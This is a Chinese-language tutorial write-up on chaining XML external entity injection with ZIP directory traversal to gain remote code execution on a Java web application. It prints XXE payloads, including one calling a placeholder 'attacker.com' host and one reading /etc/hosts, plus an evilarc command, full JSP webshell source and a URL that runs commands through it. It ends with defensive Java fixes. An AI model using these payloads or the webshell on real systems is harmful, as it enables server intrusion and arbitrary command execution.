挖洞经验 | 利用XML和ZIP格式解析漏洞实现RCE
字数 1120 2025-08-15 21:30:31
XML与ZIP格式解析漏洞实现RCE教学文档
1. 漏洞背景
本教学文档详细分析如何利用XML外部实体注入(XXE)和ZIP目录遍历漏洞组合实现远程代码执行(RCE)。这两种漏洞常出现在处理特定文件格式的Web应用中,特别是使用默认配置的Java应用程序。
2. 目标应用分析
目标Web应用处理一种特殊的.xyz文件格式,这种文件实际上是:
- 包含XML清单文件和其他多媒体内容的ZIP压缩包
- 类似于.docx或.apk文件的打包结构
- XML文件作为清单描述包内内容
3. XML外部实体注入(XXE)漏洞
3.1 XXE原理
XML支持外部实体(external entity),允许从本地或远程源加载文件。当XML解析器配置不当,允许用户自定义外部实体时,攻击者可以:
- 读取服务器本地文件
- 执行服务器端请求伪造(SSRF)
- 进行端口扫描
- 导致拒绝服务
3.2 XXE测试方法
- 基本测试:尝试引入远程外部实体
<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'https://attacker.com'>]>
<packageinfo>
<title>Test &xxe;</title>
</packageinfo>
- 本地文件读取:如果远程实体被拦截,尝试读取本地文件
<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<packageinfo>
<title>Test &xxe;</title>
</packageinfo>
- 目录枚举:通过file协议读取目录内容
<!ENTITY xxe SYSTEM 'file:///nameofdirectory'>
4. ZIP目录遍历漏洞
4.1 漏洞原理
ZIP格式允许在文件名中包含路径遍历字符(如../),当解压时:
- 恶意文件可能被写入系统任意位置
- 可覆盖关键系统文件
- 可植入Webshell实现RCE
4.2 利用工具
使用evilarc工具生成包含目录遍历的ZIP文件:
python evilarc.py -o unix -d 5 -p /home/web/resources/templates/ evilfile.jsp
4.3 关键步骤
- 通过XXE漏洞探测目标系统目录结构
- 确定可写且有执行权限的目录
- 构造包含Webshell的恶意ZIP文件
5. 组合利用实现RCE
5.1 Webshell构造
示例JSP Webshell:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
out.println("<BR>");
}
%>
5.2 攻击流程
- 构造包含Webshell的ZIP文件,使用目录遍历将其解压到目标位置
- 上传恶意.xyz文件
- 访问植入的Webshell执行命令
https://target.com/sitemap?cmd=ls
5.3 注意事项
- 目标服务器可能有缓存,需要多次刷新才能看到效果
- 可能需要尝试不同目录找到可写位置
- 命令执行结果可能需要等待一段时间才会显示
6. 防御措施
6.1 防止XXE
- 禁用外部实体处理
- 使用安全的XML解析器配置
- 实施输入过滤和验证
Java示例(禁用XXE):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
6.2 防止ZIP目录遍历
- 解压前验证文件名,过滤包含../的路径
- 使用安全的解压库
- 将文件解压到安全隔离的临时目录
- 设置适当的文件权限
Java示例(安全解压):
String canonicalDestinationPath = destFile.getCanonicalPath();
if (!canonicalDestinationPath.startsWith(canonicalDestinationDirPath)) {
throw new Exception("Entry is outside of the target dir");
}
7. 总结
本教学展示了如何组合利用XXE和ZIP目录遍历漏洞实现RCE。关键在于:
- 通过XXE探测系统信息
- 利用ZIP目录遍历植入Webshell
- 通过Webshell执行任意命令
开发人员应特别注意XML和ZIP处理的默认配置安全性,避免此类漏洞的发生。